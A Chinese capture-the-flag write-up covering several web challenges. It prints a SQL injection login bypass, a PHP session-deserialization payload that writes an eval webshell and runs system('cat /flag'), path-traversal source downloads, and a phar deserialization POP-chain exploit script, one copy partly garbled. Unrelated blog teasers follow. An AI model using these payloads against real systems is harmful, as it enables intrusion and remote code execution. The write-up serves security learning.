web赛题
@php反序列化漏洞https://www.freebuf.com/news/172507.html
@巅峰极客wp
https://www.anquanke.com/post/id/189142
@巅峰极客Web-aweb_1
登录注册,本质就是注入呗,or二次注入
法一:
功能只有三个,登录,注册,查看个人信息。
看了一下,估计就是注册、登录有注入点了。
fuzz了一下,发现在注册的时候,用户名加单引号,登陆后查看个人信息,会500报错。
那么注入点应该就在这里。fuzz了一下,过滤了一些关键词,空格也被过滤了,用 /**/可绕过,注释符用 --
成功注入,登录查看个人信息,就能看到flag1。
法二:
访问即提示只有admin才能看到flag,因此必须成为admin,看了一下cookie,不是flask的,应该不会是flask session伪造,这里直接登录注册,发现当注册的用户名存在敏感字符时会提示hacker
那么应该漏洞点在用户名处,并且有很大可能是注入,因此尝试闭合单引号
当注册wfz’/**/OR/**/’1
时,这时候可以成功登陆,并且此时用户名为test,说明闭合了单引号,因此成功登录了test用户,此时需要我们要登录admin
尝试wfz’/**/OR/**/name=’admin
即可拿到flag
@巅峰极客--lol
https://github.com/susers/Writeups/blob/some_files/2019/lol.tar.gz
对上传与下载做测试,使用名为upload的PHPSESSID上传文件后再将PHPSESSID更改为upload/../../,请求download/index.php可以下载到index.php的源码。同理可以下载到整个站点的源码。
在core/config.php中
- <?php
- $config=array(
- 'debug'=>'false',
- 'ini'=>array(
- 'session.name' => 'PHPSESSID',
- 'session.serialize_handler' => 'php'
- )
- );
可以看到这里更改了session.serialize_handler为php,猜测考察session反序列化。
联系app/model/Cache.class.php
- <?php
- class Cache{
- public $data;
- public $sj;
- public $path;
- public $html;
- function __construct($data){
- $this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
- $this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
- $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
- $this->path=Cache_DIR.DS.session_id().'.php';
- }
- function __destruct(){
- $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript> </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div> <div class="content"><div class="inner"> <h1>Hero of you</h1></div> </div> <nav><ul> <li><a href="#you">YOU</a></li></ul> </nav></header><div id="main"><article id="you"> <h2 class="major" ng-app>%s</h2> <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script> </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');
- if(file_put_contents($this->path,$this->html)){
- include($this->path);
- }
- }
- }
此处存在反序列化漏洞可以使我们写入shell并包含。
- <form action="题目地址/index.php" method="POST" enctype="multipart/form-data">
- <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
- <input type="file" name="file" />
- <input type="submit" />
- </form>
随便上传一个文件,抓包并修改filename为
file"; filename="§|O:5:§"Cache":4:{s:4:"data";a:3:{s:7:"message";s:24:"<?php eval($_GET[qq]);?>";s:4:"name";s:1:"t";s:5:"image";s:1:"t";}s:2:"sj";N;s:4:"path";s:23:"/var/www/html/write.php";s:4:"html";N;}"
用intruder无限循环请求,访问/index.php?qq=system(‘cat+/flag’);即可获取到flag。
法二:
1. 题目的灵感是一次渗透测试中遇到的一个网站。本题存在任意文件下载,利用..\..\index.php绕过获取所有源码(由于题目是linux环境只需要..\..\index.php即可。如果是windows环境的话,需要..\..\\aa\..\core\config.php利用不存在的文件夹aa和\\双反斜杠绕过apache的解析。
2. 代码审计后,发现题目存在反序列化,且$this->data['image']可控,并且没有被转义。构造payload可任意写文件。
3. 利用ini_set和chdir绕过open_basedir()。写cc.php文件到网站根目录,访问cc.php,获取flag
4. 编写 exp.py, 运行即可获取flag。
@巅峰极客--upload
题目只有一个网页,一段代码
法一:
3个功能,查看文件:file.php,上传文件:upload_file.php,下载文件:download.php。下载文件那里给了源码,看了一下过滤挺多,有点难用。上传文件直接给了上传文件的路径,强制 .jpg结尾,不过能上传任意类型文件。
查看文件那里,fuzz了一下,可以直接读文件,过滤了一些关键词,不过这几个功能页面的源码都能读,要用绝对路径。
--------------------------------------------
一看这,就想起漏洞点 phar反序列化。
接下来就是构造利用链。
- <?php
- $phar = new Phar('test.phar');
- $phar->startBuffering();
- $phar->setStub('<script language="php"> HALT_COMPILER();</script>');
- public $source; public $str;
- public function construct()
- {
- $this->source = '/flag';
- }
- }
- class S6ow
- {
- public $file; public $params; public $_show;
- public function construct()
- {
- $this->_show = 'file_get';
- $this->file = new Show();
- }
- }
- class Sh0w
- {
- public $test; public $str;
- public function construct()
改名 1.jpg,然后上传。
访问/file.php?file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg,拿到flag。
法二:
首先根据download.php可以看到此时可以传入name参数,并且此时我们传入的name将经过safe_replace()处理以后,然后进行文件下载,这里限制了文件名并且要求过滤了以后的文件名必须在白名单里面,因此这里要bypass一下safe_replace(),这里我尝试了<>,*,select,%,反引号,||,&字符都没成功,当尝试反斜杠时,发现可以成功读取文件,因此可以直接下载所有源码文件:
下载完源码以后就是代码审计,
根据这种自己写的几个php文件,第一个反应就是找存不存在反序列化的点
这里明显存在phar反序列化,都考烂了,并且有上传文件的功能,路径也已知,并且这里并没有过滤phar,可以直接phar反序列化,那么确定了漏洞点,接下来就是找pop链
class.php中Sh0w类存在destruct,Show类中存在wakeup函数,但是没法利用,因此选择Sh0w类的destruct来进行构造pop
虽然这里调用了_show()方法,但是此时Show的_show函数过滤了过滤了flag,感觉没法利用
但是它还有个tostring()魔术方法,没有过滤,可以直接任意文件读取,当对象被当做字符串输出的时候,就能够触发该对象的toString()方法
刚好S6ow存在file_get函数存在echo
因此只要调用它,并令file为Show类的对象即可调用toString,那么此时我们只需要让Sh0w的str为S6ow类的对象,即可触发器call方法,这里
我们只需要让this->{name}为file_get即可,结合
get方法,当访问不存在的属性将访问其返回$this->params[$key],因此这里我们就能够使用params[‘_show’]=“file_get”即可,要读取的flag位于/flag下,因此可以结合phar构造通用脚本构造exp如下:
- <?php
- $phar = new Phar('test.phar');
- $phar->startBuffering();
- $phar->addFromString('test.txt','text');
- $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
- class Show
- {
- public $source;
- public function __construct(){
- $this->source="/flag";
- }
- }
- class S6ow
- {
- public $file;
- public $params;
- }
- class Sh0w
- {
- public $test;
- public $str;
- }
- $c=new Show();
- $b=new S6ow();
- $b->params['_show']="file_get";
- $b->file=$c;
- $object = new Sh0w();
- $object->str=$b;
- echo urlencode(serialize($object));
- $phar->setMetadata($object);
- $phar->stopBuffering();
然后将base64解码就是flag
web赛题的更多相关文章
- web赛题3
2019--21省赛 wp:https://xz.aliyun.com/t/6458 2019-11-22蚂蚁金服(南邮)wp有了,微信 https://platform.d3ctf.io/#/ @d ...
- web赛题2
@上海赛wp 微信 和 https://www.ctfwp.com/articals/2019unctf.html 后续公告https://unctf.buuoj.cn/notice.html 必看! ...
- 【天池大数据赛题解析】资金流入流出预测(附Top4答辩ppt)
http://mp.weixin.qq.com/s?__biz=MzA3MDg0MjgxNQ==&mid=208451006&idx=1&sn=532e41cf020a0673 ...
- Hitcon 2016 Pwn赛题学习
PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...
- CSDN 轻松周赛赛题:能否被8整除
轻松周赛赛题:能否被8整除 题目详情 给定一个非负整数,问能否重排它的全部数字,使得重排后的数能被8整除. 输入格式: 多组数据,每组数据是一个非负整数.非负整数的位数不超过10000位. 输出格式 ...
- O准备如何苟进复赛圈?华为软挑开挂指南(附赛题预测)
事先声明,这不是华为软挑的软广,我也不是海军. 这篇文章纯粹是心血来潮,原因是去年上传到github的参赛代码,前几天又有两个人star和fork了. 记得star热潮还是去年4月复赛刚结束的那几天, ...
- kaggle赛题Digit Recognizer:利用TensorFlow搭建神经网络(附上K邻近算法模型预测)
一.前言 kaggle上有传统的手写数字识别mnist的赛题,通过分类算法,将图片数据进行识别.mnist数据集里面,包含了42000张手写数字0到9的图片,每张图片为28*28=784的像素,所以整 ...
- 天池新闻推荐比赛1:赛题理解+baseline
天池新闻推荐比赛1:赛题理解+baseline 一.比赛信息 比赛链接: https://tianchi.aliyun.com/competition/entrance/531842/inform ...
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
随机推荐
- 11 canvas 画布 - 基础
一.概述 canvas它和其它的HTML5标签的使用基本一致,但是它相当于在浏览器中建立一个画布,可以再这个画布上画图.创建动画甚至是3D游戏.由于canvas要适配不同终端的分辨率,所以尽可能的在标 ...
- Codeforces Round #588 (Div. 2) C. Anadi and Domino(思维)
链接: https://codeforces.com/contest/1230/problem/C 题意: Anadi has a set of dominoes. Every domino has ...
- Spring Boot 前期篇
在学习springboot之前,学习一下Spring的java配置. 1. Spring的发展 1.1. Spring1.x 时代 在Spring1.x时代,都是通过xml文件配置bean,随着项目的 ...
- @Valid验证
@Valid注解用于校验,所属包为:javax.validation.Valid. ① 首先需要在实体类的相应字段上添加用于充当校验条件的注解,如:@Min,如下代码(age属于User类中的属性): ...
- Codeforces Round #455 (Div. 2) 909E. Coprocessor
题 OvO http://codeforces.com/contest/909/problem/E CF455 div2 E CF 909E 解 类似于拓扑排序地进行贪心, 对于 Ei=0 并且入度为 ...
- IDEA Java
目录 1 配置 2 常用快捷键 3 安装插件 4 使用Maven创建web项目 5 使用Maven导入依赖 6 Maven创建项目后缺少文件夹 7 Tomcat LocalHost Log消失 8 E ...
- Codeforces Round #346 (Div. 2) E题 并查集找环
E. New Reform Berland has n cities connected by m bidirectional roads. No road connects a city to it ...
- 小米oj 数组差(挺好的题)
数组差 序号:#46难度:困难时间限制:1000ms内存限制:10M 描述 给定一个整数数组,找出两个不重叠的子数组A和B,使两个子数组元素和的差的绝对值 |SUM(A) - SUM(B)| 最大. ...
- 用Python爬虫爬取“女神吧”上的照片。
爬取的网页链接为https://tieba.baidu.com/p/5177270774 是一个美女警花哦! 所用Python环境为:python 3.3.2 用到的库为:urllib.reque ...
- Codeforces 1111 E. Tree(虚树,DP)
题意 有一棵树,q个询问,每次询问,指定一个点做树根,再给定k个点,要求把这些点分成不超过m组的方案数,分配的限制是任意两个有祖先关系的点不能分在同一组.题目还保证了所有的询问的k加起来不超过1e5. ...